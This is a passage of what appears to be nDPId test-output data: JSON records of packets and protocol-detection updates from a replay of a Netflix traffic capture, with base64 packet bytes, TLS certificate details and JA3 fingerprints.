uaWExEjAQBgNVBAcMCUxvcyBHYXRvczCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKCMPKDrRKNlpQYmDci6pMXZdSSUbKrQRkPDz7HhtKtPPugiuJduNExZc6Kdb12vBV\/O+SiPHaVK7mpFvbFGQlMb6qQfwVOi\/aD6FF0wubaBBRmV5soLn6Uml8hcRcy1GwhcE0PciETMHgCKsYz6GRuA022Eqzo18xrMBx0ZwPuRDaRc+aOcYlh2D8wJdLQNpKdgRiYnOzqzb1V73+PIcLBKBaRmuSAMY7T6QAsBvotFYlMY32uWd0vZw9isFDSJCV8w2CSLAAeSkvUEJt3zKqKD5d5h8lWhsfYUg78EDVQMWb3iyTQ+UHy3b4IHtGaB+ybeHo7UkyS4NKYViXGQ4bECAwEAAaOBhDCBgTALBgNVHQ8EBAMCBaAwHwYDVR0jBBgwFoAUgzutabNbHNPaO8lPBXMZwiqK8P8wHQYDVR0OBBYEFH8tt\/b+DoJ\/qUOipuTAuxoaEiJTMBMGA1UdJQQMMAoGCCsGAQUFBwMBMB0GA1UdEQQWMBSCEioubmNjcC5uZXRmbGl4LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAkveZR7qD\/7\/8qJ4CSsfWHq+Cw0DsuYB9YjDmpMA3gU+yzX9cXxMn8tY3AApgaSjK94LEU1T7O\/bsKsL0uCJuFhSfW4W3+AlTe3UhEOMeILOZwgcMhUPQXGI28idMvibE1zQjX96OSlU9uDL6s8itcycsRGgSP0e+Umi1cijldISAIfgK+QzQIa\/k6kuJZ2i1hk4M6e8JqkqoYRso7uoX2ECQVKzVgRgm0z79wLxOrKXQf5L2Js7s03GHwdt04kQTtyYRh6NEGBmzjgdicV4sXy4g3wbAPPR1+itz5sKT\/vAAteT\/4Ik8+RSfZGNefG8eQxjBkJKvoKV1GyHiH3YYrgAD9TCCA\/EwggLZoAMCAQICAQAwDQYJKoZIhvcNAQEFBQAwgZkxLTArBgNVBAMTJFByaW1hcnkgQ2VydGlmaWNhdGUgQXV0aG9yaXR5ICgyMDA5KTETMBEGA1UECBMKQ2FsaWZvcm5pYTELMAkGA1UEBhMCVVMxFDASBgNVBAoTC05ldGZsaXggSW5jMRwwGgYDVQQLExNFbGVjdHJvbmljIERlbGl2ZXJ5MRIwEAYDVQQHEwlMb3MgR2F0b3MwHhcNMDEwMTAxMTIzMDAwWhcNMjkwMTAxMTIzMDAwWjCBmTEtMCsGA1UEAxMkUHJpbWFyeSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgKDIwMDkpMRMwEQYDVQQIEwo="} +00818{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1961,"source":"netflix.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":6,"flow_first_seen":1484319064669,"flow_last_seen":1484319064796,"flow_tot_l4_data_len":2177,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":362,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53193,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02380{"flow_id":48,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1962,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":823890,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcEM9AACoGMIw2vxEzwKgBBwG7z9JcNkh0U8YPmoAQAD298AAAAQEICq2KWL0fZTATFgMDAFkCAABVAwNYeOlYVbF+TA+8tQuXMpB\/8PQ\/eIG53zhc7ID0Rc1d1SAosXEZ2m1HPiLExFY3ECEmLhYtlxEjU3GaXO\/BRfR0\/sAvAAAN\/wEAAQAACwAEAwABAhYDAwgiCwAIHgAIGwAEIDCCBBwwggMEoAMCAQICAhObMA0GCSqGSIb3DQEBCwUAMIGZMS0wKwYDVQQDEyRQcmltYXJ5IENlcnRpZmljYXRlIEF1dGhvcml0eSAoMjAwOSkxEzARBgNVBAgTCkNhbGlmb3JuaWExCzAJBgNVBAYTAlVTMRQwEgYDVQQKEwtOZXRmbGl4IEluYzEcMBoGA1UECxMTRWxlY3Ryb25pYyBEZWxpdmVyeTESMBAGA1UEBxMJTG9zIEdhdG9zMB4XDTAxMDExNzIwMzIwOVoXDTE4MDMyNDIwMzIwOVowgYAxGzAZBgNVBAMMEioubmNjcC5uZXRmbGl4LmNvbTEWMBQGA1UECgwNTmV0ZmxpeCwgSW5jLjETMBEGA1UECwwKT3BlcmF0aW9uczELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcMCUxvcyBHYXRvczCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKCMPKDrRKNlpQYmDci6pMXZdSSUbKrQRkPDz7HhtKtPPugiuJduNExZc6Kdb12vBV\/O+SiPHaVK7mpFvbFGQlMb6qQfwVOi\/aD6FF0wubaBBRmV5soLn6Uml8hcRcy1GwhcE0PciETMHgCKsYz6GRuA022Eqzo18xrMBx0ZwPuRDaRc+aOcYlh2D8wJdLQNpKdgRiYnOzqzb1V73+PIcLBKBaRmuSAMY7T6QAsBvotFYlMY32uWd0vZw9isFDSJCV8w2CSLAAeSkvUEJt3zKqKD5d5h8lWhsfYUg78EDVQMWb3iyTQ+UHy3b4IHtGaB+ybeHo7UkyS4NKYViXGQ4bECAwEAAaOBhDCBgTALBgNVHQ8EBAMCBaAwHwYDVR0jBBgwFoAUgzutabNbHNPaO8lPBXMZwiqK8P8wHQYDVR0OBBYEFH8tt\/b+DoJ\/qUOipuTAuxoaEiJTMBMGA1UdJQQMMAoGCCsGAQUFBwMBMB0GA1UdEQQWMBSCEioubmNjcC5uZXRmbGl4LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAkveZR7qD\/7\/8qJ4CSsfWHq+Cw0DsuYB9YjDmpMA3gU+yzX9cXxMn8tY3AApgaSjK94LEU1T7O\/bsKsL0uCJuFhSfW4W3+AlTe3UhEOMeILOZwgcMhUPQXGI28idMvibE1zQjX96OSlU9uDL6s8itcycsRGgSP0e+Umi1cijldISAIfgK+QzQIa\/k6kuJZ2i1hk4M6e8JqkqoYRso7uoX2ECQVKzVgRgm0z79wLxOrKXQf5L2Js7s03GHwdt04kQTtyYRh6NEGBmzjgdicV4sXy4g3wbAPPR1+itz5sKT\/vAAteT\/4Ik8+RSfZGNefG8eQxjBkJKvoKV1GyHiH3YYrgAD9TCCA\/EwggLZoAMCAQICAQAwDQYJKoZIhvcNAQEFBQAwgZkxLTArBgNVBAMTJFByaW1hcnkgQ2VydGlmaWNhdGUgQXV0aG9yaXR5ICgyMDA5KTETMBEGA1UECBMKQ2FsaWZvcm5pYTELMAkGA1UEBhMCVVMxFDASBgNVBAoTC05ldGZsaXggSW5jMRwwGgYDVQQLExNFbGVjdHJvbmljIERlbGl2ZXJ5MRIwEAYDVQQHEwlMb3MgR2F0b3MwHhcNMDEwMTAxMTIzMDAwWhcNMjkwMTAxMTIzMDAwWjCBmTEtMCsGA1UEAxMkUHJpbWFyeSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgKDIwMDkpMRMwEQYDVQQIEwo="} +00818{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1962,"source":"netflix.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":6,"flow_first_seen":1484319064671,"flow_last_seen":1484319064823,"flow_tot_l4_data_len":2177,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":362,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53202,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +00426{"flow_id":50,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1963,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":836708,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0GgVAACoGG880JST8wKgBBwG7z9NfgzoexPfWeIAQAEtfkAAAAQEICoWlIB4fZTBI"} +01892{"flow_id":47,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1964,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":850606,"pkt_caplen":1146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1146,"pkt_l4_len":1112,"pkt":"5JjWH70UgCqoTGHMCABFIARs1XNAACkGblc2vxEzwKgBBwG7z8mqa5NzKbVYI4AYAD3r0QAAAQEICq2KWL4fZTARQ2FsaWZvcm5pYTELMAkGA1UEBhMCVVMxFDASBgNVBAoTC05ldGZsaXggSW5jMRwwGgYDVQQLExNFbGVjdHJvbmljIERlbGl2ZXJ5MRIwEAYDVQQHEwlMb3MgR2F0b3MwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQClPiFZwHhqw9wmYrruaK5lM2jxb7OnG1xOPDkmSt9ostlHBuuEIpSAegeSu5IfyCw3LHZ5HEtbube7+v\/KvRUK5l\/8E0dgm2kIkuwXCInrxOb8Vue1EwYiVMbipMtTVxaqzqdYnzqFFOOaTfiiHdtDWwp3jjKl188E9wc5el6k667OBUw7VTGI1M30wgKX7rU1qB+D91fdnRNVb90uSyhuGgXw1LaZpqNyQ9UU0bMQcwmLcmoY3NWdMMN4j0Fw11owmtXswG41YKRxcm9yJjbyyDmry1mVF9Ri9GMcR5I+VveQudxyLML\/0PMTT+qCooHPhnMm\/zY9AEn0tmAkD70jAgMBAAGjQjBAMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgGGMB0GA1UdDgQWBBSDO61ps1sc09o7yU8FcxnCKorw\/zANBgkqhkiG9w0BAQUFAAOCAQEAPX7Vj0zBi5fWHkB\/U5GnVLqaRStn52gTsUPoxmVjareLMMkMSrAGtP8CHGMLLrjOh9GFMjrsJM6Q+mLzAhMhpmvZPRAM4kzXdAYTLRWD4dxyYCkG2sjDdGTYdO7AfokcOnu5kypA0bdWe8KcZVFjpw8f+ACSkxjkgL+lk0kWZf+uiCojU3Wt9O\/Z8+xm1PIbBOEfirH+o8gWESD86CiOqZH9cFmSjXziHHxIo4mgCTt9Jse8h8gkDJE2wQTeq3ttX1P5eyrHphoXtwy2Wtx77US+s5J0di17tOPKnQFd35Ew\/l0PWFqar2MQ46R\/UU15UR68hb86jgCQplA8NeBZoBYDAwFNDAABSQMAF0EEr3RSXEkjHtfIqWMkfAqdU9d2nJiJRZNuTwnWmlfOFK4Bj36CrnORHVgqktgwO17Wp6i3wIytK6HznXXPxu7hXgYBAQBCiE7yDHFNKaeTd\/wP7mCaSACIt++F\/XsEnDefaVDNhjs21iPaC7+DnNkBbI9Tz+NMVOZ5+c2rNRkD+lufyXHE\/agvQj0NT\/PnEbkZjROcMXalZY0J3+VoD7IqiSCZTThc+sumKJE4SGNx92H\/\/0nheo2m6pk9OD9LrDl9T5sGESlXZPp9kHC3PdDJJl3vJyvaYlpNhXtE5EUeyjryDB7yjYF81zJo4D6++gnbq6kYvoYyR3WW7wz\/CgfUXUmQEK63h87BpNZI53vkDxxpT8DwApxQMcUlpH8eweEY\/H1\/vyoITQSbKGArxp7sxw48k4YtcLZFsodAUgdSO+dYWpy5FgMDAAQOAAAA"} +01157{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1964,"source":"netflix.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":7,"flow_first_seen":1484319064669,"flow_last_seen":1484319064850,"flow_tot_l4_data_len":3289,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":469,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53193,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","server_names":"*.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"CN=Primary Certificate Authority (2009), ST=California, C=US, O=Netflix Inc, OU=Electronic Delivery, L=Los Gatos","issuerDN":"CN=*.nccp.netflix.com, O=Netflix, Inc., OU=Operations, C=US, ST=California, L=Los Gatos","fingerprint":"97:F6:63:95:8F:F2:5E:E0:80:12:5A:FD:BF:B2:EB:FE:A2:FE:72:33"}} +00427{"flow_id":47,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1965,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":852082,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA09oRAAEAGOp7AqAEHNr8RM8\/JAbsptVgjqmuXq4AQD95xkQAAAQEICh9lMIqtili+"} +00600{"flow_id":47,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1966,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":863684,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"gCqoTGHM5JjWH70UCABFAACyY5NAAEAGzRHAqAEHNr8RM8\/JAbsptVgjqmuXq4AYEADbtQAAAQEICh9lMJStili+FgMDAEYQAABCQQRZ2I0MMIOevuB7hJikJpOhgdL8qMi+SfYcTpx3cQMCKaM\/nrM9+e92pdxjq3DiWm8p6TaW50E\/UL2hBqmRGIOaFAMDAAEBFgMDACj4cL4jc0rQ2mfgZeNkgI3iYqK0epYchOu0fU7WHG8H9cz+8iWenQNH"} +02394{"flow_id":45,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1967,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":873084,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAANAADgGX8gX9gOMwKgBBwBQz78\/hoq+awM3jIAQCALr0gAAAQEICm8f72cfZS\/2qoloa0YiEdCsE4cAHiEbi\/iv\/D3\/8dcGJYkHYUFAWG4mCoUIRBELpVlBcjCOOzpdN9URQwCMt2QEwRqd80TtSwsrZgh6atW5M\/Sikg0shISjjc0BpOq1bySTi3GhHZIEUVud3MyonYAoS3dZZIRJP3f\/+TFs33oHShwDJhXULx5z\/RfpYzZiPpCRYLH6nvENWeUapxAgDanEN96y6S1SAEiuZzdGsOkwWBKIou6AsRaaxwMxWVJyIwr+T29S5sdfKqZzRcFF0AhixX13cXW0bzULFpAjCorf0\/RS2Flrv2Y6laE8S0augdzfa2ikaKEnZzxaVfpS3GnxS2s5BC722VEJ1MFcEAA4MAhCVeL7VJTncmR1H9HTsxRjUmLkEwERugoi7cxqCpIIpUMJglGCmmndWaaTbVXlgoAIPXajr2Zq6kalU3A4k1yOIC0sb7Vy8wqY4JZqqqdbmmImwUNKGkzjW0VzqBgBSXE5Cc4a8NoPWzH9casQqH0f39lXKVottTI6FcUeEJoFkrFLmBGuSYJjmIPCIoHW0vs6NNoyjBaZzutzTGb134zmNxVq270qqEa3We7d68oZ0PDpb3yebs2iKiDDsWLt+GAOq4vYLvVBHdWhMCmXtq5XZKEWTQFAlsXenXgXxdLaVrXEvhru1REEqIfQSEZJEwsI0snRGFg3K0Qv4bSgmvWoCE8IqN4Jv2IngQgqqKRslYoxLLKInDgB\/SEbjl7D\/Pz\/8hboQg7CxiDI0EKBwvFI7NOq7zq0LrQxooMvBaY5chu1wFK8EcyFjcyZjepxyCGRCfhNnHL0O9O7JAhUg\/1buoK7IFng0UyuWo6wKAFt5PqxXgLXL2WzuEeAwALjdrrq5rv\/MCxWXx2\/yD3emxECpl8ji4wrRixIYBonOBNdeHbe10UkTBMBisQ7gpmR14I3TyZwuGVJ+jI3AuYNT+erR1stWKzThMRKM7i7iUqjndMm4rC1QgLo4JiQ8FBdq5t7DQExacskZZYYV3b6bUSUX\/ekSERCUnKLaC62QolFdEqghZQAgkJkLo458lCYSAFUfbmGorE6EMoxQQkcoWWFXl6q96ppQAWJNJsCaK8gRkuLeS4IwWWtvJ9Qcev3UiHMNU146hyMQgl2t7WBmJFp9PpF2ewi7v6A+MvnG1J9D5E1eCsTEK5GHoZihBOthj770WjOG\/WyLvZlngSziEF4Z97\/wrUh\/2rpkV2PTwM\/f\/qh6rYoH0JbFT9z4L7x7+3X1DFx4BWOodBMqqLZ99XCECLtICwh3ZrJF1iCSFCeRC2bFqljLhPCwysxgq3xaQrOgstEqUNyELWWKgO9BCpdIJXuXVIrbU28E37ETwIQVVE2kEARNWEpCnDgA9whG4haz\/z9\/\/I2+C0GSsdxoIhCYdN1wK2XxdbxqX644y5V0gUGAlRVWMlYUEpjsfbgaFVmsGtmAPn\/668\/slcZbgW7BEUjfTyBFSAcHLGZXx3aIQoMkrkjZoAbKXA3N3\/YPj8ptHrerUmUxhuZeZziENktXfyuL94xrNNaW7Py+6TvsYUrsFIJQScT82uueloE3EqDQiQDhRYAIL6PZcrHUIKxOkNbEMmanG4jqv6vg+i23qXEYpXKZFytljnqdhsym4QhpzXKFinfGnyE7TOSVHt6jsxFieJ36\/2SCPGeoITgjpHtSjRalEHde8AjNFIpC1o49f03wulAwp3Sq8FCyhe6N1SoCgpH29iUJQsOhMFxINRioIvdJe0mrx26tptLQC8MvQ62IwTc2PhFfjo45wczPiwKKKwOPNEPVykrdfRTcnQuCn2nOCh2Q841T9kBAF3CDs5bYEmynlY7zbwM97qBVEVXz3zVsCEbot3yjT+oN1UEmXGTBkaN43OUyUSwsHEzoYDQ7vt+a6yqMoU4uZbiIDM35x82\/ky25IEFirw="} +02378{"flow_id":50,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1968,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":885811,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcGgZAACoGFiY0JST8wKgBBwG7z9NfgzoexPfWeIAQAEv6QQAAAQEICoWlIB4fZTBIFgMDAFkCAABVAwNYeOlYxc32aqe88XB0zSkgORAKpYwfY1nYrV5t0Yw06yDCt4dmFGxLfzFOEwUakWsLyoSPhzh0ksgZ4QXrqdFQXsAvAAAN\/wEAAQAACwAEAwABAhYDAwo1CwAKMQAKLgAFDzCCBQswggPzoAMCAQICEBUE9lSWJBH1oKEWtt+LI6kwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjA0MTIwMDAwMDBaFw0xODA0MTAyMzU5NTlaMIGBMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTESMBAGA1UEBwwJbG9zIGdhdG9zMRYwFAYDVQQKDA1OZXRmbGl4LCBJbmMuMQwwCgYDVQQLDANPcHMxIzAhBgNVBAMMGmN1c3RvbWVyZXZlbnRzLm5ldGZsaXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5NWCfffj1fH2w7Mcey7bCuVjmU9eYoCt0LQXtABL8VbzHb0v4bvuXzERuentrt0KBRrXwGb1LNpWTCuYkQFsuSO+4A2oBicvehQTGBtisx0FbKBTLIsG1vAxiWHWx\/XTpvW3a5IDQ3ve\/mg0iN4F0RJTT7hORBeIfEAtcLaXH1n\/7BbB4evGBxadgu4wyTSlZcC3QyAKuqxcLKOgPPdViofYrGJ2ftzJYann157r\/0yi8mqc3eUn0g\/zUInV4h7\/h5s9Uj2esO0XEfaW0qv9A1L8eDpSXsQ6a\/uVCNNDZNT0nWamrF358P06wTnnFsnzkBLicvjy+KKQP469XywS3wIDAQABo4IBfzCCAXswgYkGA1UdEQSBgTB\/ghNpY2huYWVhLm5ldGZsaXguY29tghJiZWFjb24ubmV0ZmxpeC5jb22CIHByZXNlbnRhdGlvbnRyYWNraW5nLm5ldGZsaXguY29tghZubXRyYWNraW5nLm5ldGZsaXguY29tghpjdXN0b21lcmV2ZW50cy5uZXRmbGl4LmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMA0GCSqGSIb3DQEBCwUAA4IBAQACFfXmfFLSJ3g83aH1lGay1TzWZVJJlcH5vHFDEXU12pMzmZON4XtuDhhFM85qNRHVp6dySN\/2NPneYQEAzEJszsoGpdoNA5+VkmVdkvaW+tPqbjD3DhRFe6FRMiYEvobEuXDMASh3pWeL+lILt4N4el138DFitlCElI7++tgmcN\/F97RxsNmqKLFE1juHjpRhzqx1ySvoyfKNksinLcJxJGh9TBRlC8+HlqzIWD5UwAIQyDpWGAcTm0CSFI62ZR44BA8HC+G2Cy4+heUb5tc6\/0A9WEHQESa7OfzrIaNQpvRwbE6iQMEgEU13QVkkGskdHHDxVn9L6REOhP7lsoXoAAUZMIIFFTCCA\/2gAwIBAgIQKC4nkXkzkuQo8iGnTsk3rjANBgkqhkiG9w0="} +00819{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1968,"source":"netflix.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":6,"flow_first_seen":1484319064711,"flow_last_seen":1484319064885,"flow_tot_l4_data_len":1889,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":314,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.37.36.252","src_port":53203,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ichnaea.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +01884{"flow_id":48,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1969,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":898548,"pkt_caplen":1146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1146,"pkt_l4_len":1112,"pkt":"5JjWH70UgCqoTGHMCABFIARsENBAACoGMfs2vxEzwKgBBwG7z9JcNk4cU8YPmoAYAD2BWAAAAQEICq2KWL0fZTATQ2FsaWZvcm5pYTELMAkGA1UEBhMCVVMxFDASBgNVBAoTC05ldGZsaXggSW5jMRwwGgYDVQQLExNFbGVjdHJvbmljIERlbGl2ZXJ5MRIwEAYDVQQHEwlMb3MgR2F0b3MwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQClPiFZwHhqw9wmYrruaK5lM2jxb7OnG1xOPDkmSt9ostlHBuuEIpSAegeSu5IfyCw3LHZ5HEtbube7+v\/KvRUK5l\/8E0dgm2kIkuwXCInrxOb8Vue1EwYiVMbipMtTVxaqzqdYnzqFFOOaTfiiHdtDWwp3jjKl188E9wc5el6k667OBUw7VTGI1M30wgKX7rU1qB+D91fdnRNVb90uSyhuGgXw1LaZpqNyQ9UU0bMQcwmLcmoY3NWdMMN4j0Fw11owmtXswG41YKRxcm9yJjbyyDmry1mVF9Ri9GMcR5I+VveQudxyLML\/0PMTT+qCooHPhnMm\/zY9AEn0tmAkD70jAgMBAAGjQjBAMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgGGMB0GA1UdDgQWBBSDO61ps1sc09o7yU8FcxnCKorw\/zANBgkqhkiG9w0BAQUFAAOCAQEAPX7Vj0zBi5fWHkB\/U5GnVLqaRStn52gTsUPoxmVjareLMMkMSrAGtP8CHGMLLrjOh9GFMjrsJM6Q+mLzAhMhpmvZPRAM4kzXdAYTLRWD4dxyYCkG2sjDdGTYdO7AfokcOnu5kypA0bdWe8KcZVFjpw8f+ACSkxjkgL+lk0kWZf+uiCojU3Wt9O\/Z8+xm1PIbBOEfirH+o8gWESD86CiOqZH9cFmSjXziHHxIo4mgCTt9Jse8h8gkDJE2wQTeq3ttX1P5eyrHphoXtwy2Wtx77US+s5J0di17tOPKnQFd35Ew\/l0PWFqar2MQ46R\/UU15UR68hb86jgCQplA8NeBZoBYDAwFNDAABSQMAF0EEr3RSXEkjHtfIqWMkfAqdU9d2nJiJRZNuTwnWmlfOFK4Bj36CrnORHVgqktgwO17Wp6i3wIytK6HznXXPxu7hXgYBAQBukt2wp\/PvCNgjYKO7nstsKG4JToLUZCUgFskj2ztbu8Q6lUhTJugvlkQNErILWuN4OOGzJ9UB42s+sQhCnz8oGjLqiXDqPy2gE8N5+clEUx7aTDq3wfaopu8xDbG0JvnxGeMAhG+JZufHaN+HUA5aR85sbRyXK8vinoRdZgzqPqEgxI4wDHRyIws7zd3D+yZhSBjDhhps9oQs6ZrMfzDbtzrHa7rt4E4Wi5YN3WERNdC3vmDe64PoP6c8lJJxFojjvlNVhvvNQ7qxNnyPM2Y4MaEHEShXUDL3uJcCdxQKTZxB+S+rOPvARE2J1JwwhXrntsMAg1FLVpnwtt2NDvAgFgMDAAQOAAAA"} +01157{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1969,"source":"netflix.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":7,"flow_first_seen":1484319064671,"flow_last_seen":1484319064898,"flow_tot_l4_data_len":3289,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":469,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53202,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","server_names":"*.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"CN=Primary Certificate Authority (2009), ST=California, C=US, O=Netflix Inc, OU=Electronic Delivery, L=Los Gatos","issuerDN":"CN=*.nccp.netflix.com, O=Netflix, Inc., OU=Operations, C=US, ST=California, L=Los Gatos","fingerprint":"97:F6:63:95:8F:F2:5E:E0:80:12:5A:FD:BF:B2:EB:FE:A2:FE:72:33"}} 